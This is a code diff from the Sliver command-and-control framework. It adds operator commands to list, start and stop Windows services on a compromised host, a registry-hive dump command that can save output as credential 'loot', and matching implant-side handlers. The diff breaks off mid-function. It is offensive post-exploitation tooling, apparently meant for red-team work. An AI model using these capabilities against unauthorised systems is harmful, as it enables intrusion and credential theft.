con.PrintAsyncResponse(serviceInfo.Response)
|
||||
} else {
|
||||
PrintServiceDetail(serviceInfo, con)
|
||||
}
|
||||
}
|
||||
|
||||
func ServiceStopCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Hopefully this command being Windows only is temporary
|
||||
activeOS := getOS(session, beacon)
|
||||
if activeOS != "windows" {
|
||||
con.PrintErrorf("The services command is currently only available on Windows")
|
||||
return
|
||||
}
|
||||
|
||||
hostname, _ := cmd.Flags().GetString("host")
|
||||
serviceName := args[0]
|
||||
if serviceName == "" {
|
||||
con.PrintErrorf("A service name is required")
|
||||
return
|
||||
}
|
||||
|
||||
stopService, err := con.Rpc.StopService(context.Background(), &sliverpb.StopServiceReq{
|
||||
ServiceInfo: &sliverpb.ServiceInfoReq{Hostname: hostname, ServiceName: serviceName},
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if stopService.Response != nil && stopService.Response.Async {
|
||||
con.AddBeaconCallback(stopService.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, stopService)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response: %s\n", err)
|
||||
return
|
||||
}
|
||||
// We only get a response with content if there is an error
|
||||
if stopService.Response != nil {
|
||||
con.PrintErrorf("Error when stopping %s on %s: %s", serviceName, hostname, stopService.Response.Err)
|
||||
} else {
|
||||
displayName := hostname
|
||||
if hostname == "localhost" {
|
||||
displayName = beacon.Name
|
||||
}
|
||||
con.PrintSuccessf("%s on %s stopped successfully", serviceName, displayName)
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(stopService.Response)
|
||||
} else {
|
||||
if stopService.Response != nil {
|
||||
con.PrintErrorf("Error when stopping %s on %s: %s", serviceName, hostname, stopService.Response.Err)
|
||||
} else {
|
||||
displayName := hostname
|
||||
if hostname == "localhost" {
|
||||
displayName = session.Name
|
||||
}
|
||||
con.PrintSuccessf("%s on %s stopped successfully", serviceName, displayName)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func ServiceStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Hopefully this command being Windows only is temporary
|
||||
activeOS := getOS(session, beacon)
|
||||
if activeOS != "windows" {
|
||||
con.PrintErrorf("The services command is currently only available on Windows")
|
||||
return
|
||||
}
|
||||
|
||||
hostname, _ := cmd.Flags().GetString("host")
|
||||
serviceName := args[0]
|
||||
if serviceName == "" {
|
||||
con.PrintErrorf("A service name is required")
|
||||
return
|
||||
}
|
||||
|
||||
startService, err := con.Rpc.StartServiceByName(context.Background(), &sliverpb.StartServiceByNameReq{
|
||||
ServiceInfo: &sliverpb.ServiceInfoReq{Hostname: hostname, ServiceName: serviceName},
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if startService.Response != nil && startService.Response.Async {
|
||||
con.AddBeaconCallback(startService.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, startService)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response: %s\n", err)
|
||||
return
|
||||
}
|
||||
// We only get a response with content if there is an error
|
||||
if startService.Response != nil {
|
||||
con.PrintErrorf("Error when starting %s on %s: %s", serviceName, hostname, startService.Response.Err)
|
||||
} else {
|
||||
displayName := hostname
|
||||
if hostname == "localhost" {
|
||||
displayName = beacon.Name
|
||||
}
|
||||
con.PrintSuccessf("%s on %s started successfully", serviceName, displayName)
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(startService.Response)
|
||||
} else {
|
||||
if startService.Response != nil {
|
||||
con.PrintErrorf("Error when starting %s on %s: %s", serviceName, hostname, startService.Response.Err)
|
||||
} else {
|
||||
displayName := hostname
|
||||
if hostname == "localhost" {
|
||||
displayName = session.Name
|
||||
}
|
||||
con.PrintSuccessf("%s on %s started successfully", serviceName, displayName)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func translateServiceStatus(status uint32) string {
|
||||
switch status {
|
||||
case serviceStopped:
|
||||
return "Stopped"
|
||||
case serviceStartPending:
|
||||
return "Start Pending"
|
||||
case serviceStopPending:
|
||||
return "Stop Pending"
|
||||
case serviceRunning:
|
||||
return "Running"
|
||||
case serviceContinuePending:
|
||||
return "Continue Pending"
|
||||
case servicePausePending:
|
||||
return "Pause Pending"
|
||||
case servicePaused:
|
||||
return "Paused"
|
||||
default:
|
||||
return fmt.Sprintf("Unknown (status type: %d)", status)
|
||||
}
|
||||
}
|
||||
|
||||
func translateServiceStartup(startup uint32) string {
|
||||
switch startup {
|
||||
case serviceBootStart:
|
||||
return "Device (System Loader; Boot)"
|
||||
case serviceSystemStart:
|
||||
return "Device (IOInitSystem; System)"
|
||||
case serviceAutoStart:
|
||||
return "Automatic"
|
||||
case serviceDemandStart:
|
||||
return "Manual"
|
||||
case serviceDisabled:
|
||||
return "Disabled"
|
||||
default:
|
||||
return fmt.Sprintf("Unknown (Type %d)", startup)
|
||||
}
|
||||
}
|
||||
|
||||
func PrintServices(serviceInfo *sliverpb.Services, con *console.SliverClient) {
|
||||
// Get terminal width
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
if serviceInfo.Details == nil {
|
||||
if serviceInfo.Error != "" {
|
||||
con.PrintErrorf("Encountered the following errors while trying to retrieve service info:\n%s\n", serviceInfo.Error)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
wideTermWidth := con.Settings.SmallTermWidth < width
|
||||
|
||||
if wideTermWidth {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Service Name",
|
||||
"Display Name",
|
||||
"Status",
|
||||
"Startup Type",
|
||||
"Binary Path",
|
||||
"Account",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Service Name",
|
||||
"Display Name",
|
||||
"Status",
|
||||
})
|
||||
}
|
||||
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Service Name", Mode: table.Asc},
|
||||
})
|
||||
|
||||
for _, service := range serviceInfo.Details {
|
||||
status := translateServiceStatus(service.Status)
|
||||
var row table.Row
|
||||
if wideTermWidth {
|
||||
startupType := translateServiceStartup(service.StartupType)
|
||||
row = table.Row{
|
||||
service.Name,
|
||||
service.DisplayName,
|
||||
status,
|
||||
startupType,
|
||||
service.BinPath,
|
||||
service.Account,
|
||||
}
|
||||
} else {
|
||||
row = table.Row{
|
||||
service.Name,
|
||||
service.DisplayName,
|
||||
status,
|
||||
}
|
||||
}
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
if serviceInfo.Error != "" {
|
||||
con.Println()
|
||||
con.PrintWarnf("Service info may not be complete. Encountered the following errors while trying to retrieve service info:\n%s\n", serviceInfo.Error)
|
||||
}
|
||||
}
|
||||
|
||||
func PrintServiceDetail(serviceDetail *sliverpb.ServiceDetail, con *console.SliverClient) {
|
||||
if serviceDetail.Response != nil && serviceDetail.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", serviceDetail.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
if serviceDetail.Detail == nil {
|
||||
return
|
||||
}
|
||||
|
||||
detail := serviceDetail.Detail
|
||||
|
||||
header := fmt.Sprintf("Service information for %s", detail.Name)
|
||||
|
||||
con.Printf("\n%s\n", header)
|
||||
con.Printf("%s\n\n", strings.Repeat("-", len(header)))
|
||||
con.Println("Display Name: ", detail.DisplayName)
|
||||
con.Println("Description: ", detail.Description)
|
||||
con.Println("Account the service runs under: ", detail.Account)
|
||||
con.Println("Binary Path: ", detail.BinPath)
|
||||
con.Println("Startup type: ", translateServiceStartup(detail.StartupType))
|
||||
if serviceDetail.Message != "" {
|
||||
con.Println("Status: ", serviceDetail.Message)
|
||||
} else {
|
||||
con.Println("Status: ", translateServiceStatus(detail.Status))
|
||||
}
|
||||
}
|
||||
@@ -40,6 +40,24 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
})
|
||||
carapace.Gen(registryReadCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path"))
|
||||
|
||||
registryReadHiveCmd := &cobra.Command{
|
||||
Use: consts.RegistryReadHiveStr,
|
||||
Short: "Read a hive into a binary file",
|
||||
Long: help.GetHelpFor([]string{consts.RegistryReadStr + consts.RegistryReadHiveStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
RegReadHiveCommand(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, registryReadHiveCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("hive", "H", "HKLM", "root registry hive")
|
||||
f.StringP("save", "s", "", "location to store data, required if not looting")
|
||||
f.BoolP("loot", "X", false, "save output as loot (loot is saved without formatting)")
|
||||
f.StringP("name", "n", "", "name to assign loot (optional)")
|
||||
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
|
||||
})
|
||||
registryReadCmd.AddCommand(registryReadHiveCmd)
|
||||
|
||||
registryWriteCmd := &cobra.Command{
|
||||
Use: consts.RegistryWriteStr,
|
||||
Short: "Write values to the Windows registry",
|
||||
|
||||
@@ -21,15 +21,19 @@ package registry
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
)
|
||||
|
||||
var validHives = []string{
|
||||
@@ -92,6 +96,7 @@ func RegReadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
|
||||
hostname, _ := cmd.Flags().GetString("hostname")
|
||||
hive, _ := cmd.Flags().GetString("hive")
|
||||
hive = strings.ToUpper(hive)
|
||||
if err := checkHive(hive); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -153,3 +158,121 @@ func PrintRegRead(regRead *sliverpb.RegistryRead, con *console.SliverClient) {
|
||||
}
|
||||
con.Println(regRead.Value)
|
||||
}
|
||||
|
||||
func writeHiveDump(data []byte, encoder string, fileName string, saveLoot bool, lootName string, lootType string, lootFileName string, con *console.SliverClient) {
|
||||
var rawData []byte
|
||||
var err error
|
||||
|
||||
if encoder == "gzip" {
|
||||
rawData, err = new(encoders.Gzip).Decode(data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not decode gzip data: %s\n", err)
|
||||
return
|
||||
}
|
||||
} else if encoder == "" {
|
||||
rawData = data
|
||||
} else {
|
||||
con.PrintErrorf("Cannot decode registry hive data: unknown encoder %s\n", encoder)
|
||||
return
|
||||
}
|
||||
|
||||
if fileName != "" {
|
||||
err = os.WriteFile(fileName, rawData, 0600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not write registry hive data to %s: %s\n", fileName, err)
|
||||
// We are not going to return here because if the user wants to loot, we may still be able to do that.
|
||||
} else {
|
||||
con.PrintSuccessf("Successfully wrote hive data to %s\n", fileName)
|
||||
}
|
||||
}
|
||||
|
||||
if saveLoot {
|
||||
fileType := loot.ValidateLootFileType(lootType, rawData)
|
||||
loot.LootBinary(rawData, lootName, lootFileName, fileType, con)
|
||||
}
|
||||
}
|
||||
|
||||
func RegReadHiveCommand(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
targetOS := getOS(session, beacon)
|
||||
if targetOS != "windows" {
|
||||
con.PrintErrorf("Registry operations can only target Windows\n")
|
||||
return
|
||||
}
|
||||
|
||||
rootHive, _ := cmd.Flags().GetString("hive")
|
||||
rootHive = strings.ToUpper(rootHive)
|
||||
if err := checkHive(rootHive); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
outputFileName, _ := cmd.Flags().GetString("save")
|
||||
if outputFileName == "" && !saveLoot {
|
||||
con.PrintErrorf("You must provide an output file name")
|
||||
return
|
||||
}
|
||||
|
||||
if len(args) == 0 || (len(args) > 0 && args[0] == "") {
|
||||
con.PrintErrorf("You must provide a registry hive to dump")
|
||||
return
|
||||
}
|
||||
requestedHive := args[0]
|
||||
|
||||
lootName := ""
|
||||
lootType := ""
|
||||
lootFileName := ""
|
||||
if saveLoot {
|
||||
lootName, _ = cmd.Flags().GetString("name")
|
||||
lootType, _ = cmd.Flags().GetString("file-type")
|
||||
// Get implant name
|
||||
implantName := ""
|
||||
if session == nil {
|
||||
implantName = beacon.Name
|
||||
} else {
|
||||
implantName = session.Name
|
||||
}
|
||||
if lootName == "" {
|
||||
lootName = fmt.Sprintf("Registry hive %s\\%s on %s", rootHive, requestedHive, implantName)
|
||||
}
|
||||
if outputFileName != "" {
|
||||
lootFileName = filepath.Base(outputFileName)
|
||||
} else {
|
||||
requestedHiveForFileName := strings.ReplaceAll(requestedHive, "/", "_")
|
||||
requestedHiveForFileName = strings.ReplaceAll(requestedHiveForFileName, "\\", "_")
|
||||
lootFileName = fmt.Sprintf("%s_%s_%s", implantName, rootHive, requestedHiveForFileName)
|
||||
}
|
||||
}
|
||||
|
||||
if strings.Contains(requestedHive, "/") {
|
||||
requestedHive = strings.ReplaceAll(requestedHive, "/", "\\")
|
||||
}
|
||||
|
||||
hiveDump, err := con.Rpc.RegistryReadHive(context.Background(), &sliverpb.RegistryReadHiveReq{
|
||||
RootHive: rootHive,
|
||||
RequestedHive: requestedHive,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if hiveDump.Response != nil && hiveDump.Response.Async {
|
||||
con.AddBeaconCallback(hiveDump.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, hiveDump)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
writeHiveDump(hiveDump.Data, hiveDump.Encoder, outputFileName, saveLoot, lootName, lootType, lootFileName, con)
|
||||
})
|
||||
con.PrintAsyncResponse(hiveDump.Response)
|
||||
} else {
|
||||
writeHiveDump(hiveDump.Data, hiveDump.Encoder, outputFileName, saveLoot, lootName, lootType, lootFileName, con)
|
||||
}
|
||||
}
|
||||
@@ -136,19 +136,45 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
wideTermWidth := con.Settings.SmallTermWidth < width
|
||||
|
||||
windowsSessionInList := false
|
||||
for _, session := range sessions {
|
||||
if session.OS == "windows" {
|
||||
windowsSessionInList = true
|
||||
}
|
||||
}
|
||||
|
||||
if wideTermWidth {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Locale",
|
||||
"Last Message",
|
||||
"Health",
|
||||
})
|
||||
if windowsSessionInList {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Process (PID)",
|
||||
"Integrity",
|
||||
"Operating System",
|
||||
"Locale",
|
||||
"Last Message",
|
||||
"Health",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Process (PID)",
|
||||
"Operating System",
|
||||
"Locale",
|
||||
"Last Message",
|
||||
"Health",
|
||||
})
|
||||
}
|
||||
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
@@ -191,11 +217,19 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, username),
|
||||
fmt.Sprintf(color+"%s (%d)"+console.Normal, session.Filename, session.PID),
|
||||
}
|
||||
|
||||
if windowsSessionInList {
|
||||
rowEntries = append(rowEntries, fmt.Sprintf(color+"%s"+console.Normal, session.Integrity))
|
||||
}
|
||||
|
||||
rowEntries = append(rowEntries, []string{
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Locale),
|
||||
con.FormatDateDelta(time.Unix(session.LastCheckin, 0), wideTermWidth, false),
|
||||
burned + SessionHealth,
|
||||
}
|
||||
}...)
|
||||
} else {
|
||||
rowEntries = []string{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
|
||||
|
||||
@@ -560,6 +560,23 @@ func (con *SliverClient) GetActiveSessionConfig() *clientpb.ImplantConfig {
|
||||
IsSharedLib: true,
|
||||
C2: c2s,
|
||||
}
|
||||
/* If this config will be used to build an implant,
|
||||
we need to make sure to include the correct transport
|
||||
for the build */
|
||||
switch session.Transport {
|
||||
case "mtls":
|
||||
config.IncludeMTLS = true
|
||||
case "http(s)":
|
||||
config.IncludeHTTP = true
|
||||
case "dns":
|
||||
config.IncludeDNS = true
|
||||
case "wg":
|
||||
config.IncludeWG = true
|
||||
case "namedpipe":
|
||||
config.IncludeNamePipe = true
|
||||
case "tcppivot":
|
||||
config.IncludeTCP = true
|
||||
}
|
||||
return config
|
||||
}
|
||||
|
||||
@@ -590,7 +607,23 @@ func (con *SliverClient) GetActiveBeaconConfig() *clientpb.ImplantConfig {
|
||||
IsSharedLib: true,
|
||||
C2: c2s,
|
||||
}
|
||||
|
||||
/* If this config will be used to build an implant,
|
||||
we need to make sure to include the correct transport
|
||||
for the build */
|
||||
switch beacon.Transport {
|
||||
case "mtls":
|
||||
config.IncludeMTLS = true
|
||||
case "http":
|
||||
config.IncludeHTTP = true
|
||||
case "dns":
|
||||
config.IncludeDNS = true
|
||||
case "wg":
|
||||
config.IncludeWG = true
|
||||
case "namedpipe":
|
||||
config.IncludeNamePipe = true
|
||||
case "tcppivot":
|
||||
config.IncludeTCP = true
|
||||
}
|
||||
return config
|
||||
}
|
||||
|
||||
|
||||
@@ -187,10 +187,14 @@ const (
|
||||
MsfStr = "msf"
|
||||
MsfInjectStr = "msf-inject"
|
||||
|
||||
PsStr = "ps"
|
||||
PingStr = "ping"
|
||||
KillStr = "kill"
|
||||
TerminateStr = "terminate"
|
||||
PsStr = "ps"
|
||||
PingStr = "ping"
|
||||
KillStr = "kill"
|
||||
TerminateStr = "terminate"
|
||||
ServicesStr = "services"
|
||||
ServicesInfoStr = "info"
|
||||
ServicesStopStr = "stop"
|
||||
ServicesStartStr = "start"
|
||||
|
||||
GetPIDStr = "getpid"
|
||||
GetUIDStr = "getuid"
|
||||
@@ -257,6 +261,7 @@ const (
|
||||
RegistryListValuesStr = "list-values"
|
||||
RegistryCreateKeyStr = "create"
|
||||
RegistryDeleteKeyStr = "delete"
|
||||
RegistryReadHiveStr = "hive"
|
||||
PivotsStr = "pivots"
|
||||
WgConfigStr = "wg-config"
|
||||
WgSocksStr = "wg-socks"
|
||||
|
||||
@@ -16,8 +16,8 @@ require (
|
||||
github.com/Ne0nd0g/go-clr v1.0.3
|
||||
github.com/alecthomas/chroma v0.10.0
|
||||
github.com/cheggaaa/pb/v3 v3.1.2
|
||||
github.com/chromedp/cdproto v0.0.0-20230220211738-2b1ec77315c9
|
||||
github.com/chromedp/chromedp v0.9.1
|
||||
github.com/chromedp/cdproto v0.0.0-20231011050154-1d073bb38998
|
||||
github.com/chromedp/chromedp v0.9.3
|
||||
github.com/fatih/color v1.15.0
|
||||
github.com/glebarez/sqlite v1.10.0
|
||||
github.com/gofrs/uuid v4.4.0+incompatible
|
||||
@@ -106,7 +106,7 @@ require (
|
||||
github.com/go-sql-driver/mysql v1.7.0 // indirect
|
||||
github.com/gobwas/httphead v0.1.0 // indirect
|
||||
github.com/gobwas/pool v0.2.1 // indirect
|
||||
github.com/gobwas/ws v1.1.0 // indirect
|
||||
github.com/gobwas/ws v1.3.0 // indirect
|
||||
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466 // indirect
|
||||
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
|
||||
github.com/golang/protobuf v1.5.3 // indirect
|
||||
|
||||
@@ -85,10 +85,10 @@ github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZx
|
||||
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
|
||||
github.com/cheggaaa/pb/v3 v3.1.2 h1:FIxT3ZjOj9XJl0U4o2XbEhjFfZl7jCVCDOGq1ZAB7wQ=
|
||||
github.com/cheggaaa/pb/v3 v3.1.2/go.mod h1:SNjnd0yKcW+kw0brSusraeDd5Bf1zBfxAzTL2ss3yQ4=
|
||||
github.com/chromedp/cdproto v0.0.0-20230220211738-2b1ec77315c9 h1:wMSvdj3BswqfQOXp2R1bJOAE7xIQLt2dlMQDMf836VY=
|
||||
github.com/chromedp/cdproto v0.0.0-20230220211738-2b1ec77315c9/go.mod h1:GKljq0VrfU4D5yc+2qA6OVr8pmO/MBbPEWqWQ/oqGEs=
|
||||
github.com/chromedp/chromedp v0.9.1 h1:CC7cC5p1BeLiiS2gfNNPwp3OaUxtRMBjfiw3E3k6dFA=
|
||||
github.com/chromedp/chromedp v0.9.1/go.mod h1:DUgZWRvYoEfgi66CgZ/9Yv+psgi+Sksy5DTScENWjaQ=
|
||||
github.com/chromedp/cdproto v0.0.0-20231011050154-1d073bb38998 h1:2zipcnjfFdqAjOQa8otCCh0Lk1M7RBzciy3s80YAKHk=
|
||||
github.com/chromedp/cdproto v0.0.0-20231011050154-1d073bb38998/go.mod h1:GKljq0VrfU4D5yc+2qA6OVr8pmO/MBbPEWqWQ/oqGEs=
|
||||
github.com/chromedp/chromedp v0.9.3 h1:Wq58e0dZOdHsxaj9Owmfcf+ibtpYN1N0FWVbaxa/esg=
|
||||
github.com/chromedp/chromedp v0.9.3/go.mod h1:NipeUkUcuzIdFbBP8eNNvl9upcceOfWzoJn6cRe4ksA=
|
||||
github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic=
|
||||
github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww=
|
||||
github.com/cilium/ebpf v0.11.0 h1:V8gS/bTCCjX9uUnkUFUpPsksM8n1lXBAvHcpiFk1X2Y=
|
||||
@@ -161,8 +161,8 @@ github.com/gobwas/pool v0.2.0/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6Wezm
|
||||
github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
|
||||
github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
|
||||
github.com/gobwas/ws v1.0.2/go.mod h1:szmBTxLgaFppYjEmNtny/v3w89xOydFnnZMcgRRu/EM=
|
||||
github.com/gobwas/ws v1.1.0 h1:7RFti/xnNkMJnrK7D1yQ/iCIB5OrrY/54/H930kIbHA=
|
||||
github.com/gobwas/ws v1.1.0/go.mod h1:nzvNcVha5eUziGrbxFCo6qFIojQHjJV5cLYIbezhfL0=
|
||||
github.com/gobwas/ws v1.3.0 h1:sbeU3Y4Qzlb+MOzIe6mQGf7QR4Hkv6ZD0qhGkBFL2O0=
|
||||
github.com/gobwas/ws v1.3.0/go.mod h1:hRKAFb8wOxFROYNsT1bqfWnhX+b5MFeJM9r2ZSwg/KY=
|
||||
github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
|
||||
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466 h1:sQspH8M4niEijh3PFscJRLDnkL547IeP7kpPe3uUhEg=
|
||||
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466/go.mod h1:ZiQxhyQ+bbbfxUKVvjfO498oPYvtYhZzycal3G/NHmU=
|
||||
@@ -507,7 +507,6 @@ golang.org/x/sys v0.0.0-20200728102440-3e129f6d46b1/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201207223542-d4d67f95c62d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210301091718-77cc2087c03b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
|
||||
@@ -458,6 +458,11 @@ func prepareDownload(path string, filter string, recurse bool, maxBytes int64, m
|
||||
|
||||
fileInfo, err := os.Stat(path + filter)
|
||||
|
||||
if err != nil && os.IsNotExist(err) {
|
||||
// Then the file does not exist
|
||||
return nil, false, 0, 1, err
|
||||
}
|
||||
|
||||
if err == nil && !fileInfo.IsDir() {
|
||||
// Then this is a single file
|
||||
fileHandle, err := os.Open(path + filter)
|
||||
|
||||
@@ -73,6 +73,7 @@ var (
|
||||
sliverpb.MsgExecuteWindowsReq: executeWindowsHandler,
|
||||
sliverpb.MsgGetPrivsReq: getPrivsHandler,
|
||||
sliverpb.MsgCurrentTokenOwnerReq: currentTokenOwnerHandler,
|
||||
sliverpb.MsgRegistryReadHiveReq: regReadHiveHandler,
|
||||
|
||||
// Platform specific
|
||||
sliverpb.MsgIfconfigReq: ifconfigHandler,
|
||||
@@ -88,6 +89,9 @@ var (
|
||||
sliverpb.MsgRegistryDeleteKeyReq: regDeleteKeyHandler,
|
||||
sliverpb.MsgRegistrySubKeysListReq: regSubKeysListHandler,
|
||||
sliverpb.MsgRegistryListValuesReq: regValuesListHandler,
|
||||
sliverpb.MsgServicesReq: servicesListHandler,
|
||||
sliverpb.MsgServiceDetailReq: serviceDetailHandler,
|
||||
sliverpb.MsgStartServiceByNameReq: startServiceByNameHandler,
|
||||
|
||||
// Generic
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
@@ -595,6 +599,25 @@ func stopService(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func startServiceByNameHandler(data []byte, resp RPCResponse) {
|
||||
startServiceReq := &sliverpb.StartServiceByNameReq{}
|
||||
err := proto.Unmarshal(data, startServiceReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
err = service.StartServiceByName(startServiceReq.ServiceInfo.Hostname, startServiceReq.ServiceInfo.ServiceName)
|
||||
svcInfo := &sliverpb.ServiceInfo{}
|
||||
if err != nil {
|
||||
svcInfo.Response = &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
}
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(svcInfo)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func removeService(data []byte, resp RPCResponse) {
|
||||
removeServiceReq := &sliverpb.RemoveServiceReq{}
|
||||
err := proto.Unmarshal(data, removeServiceReq)
|
||||
@@ -732,6 +755,28 @@ func regValuesListHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func regReadHiveHandler(data []byte, resp RPCResponse) {
|
||||
hiveReq := &sliverpb.RegistryReadHiveReq{}
|
||||
err := proto.Unmarshal(data, hiveReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
hiveResp := &sliverpb.RegistryReadHive{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
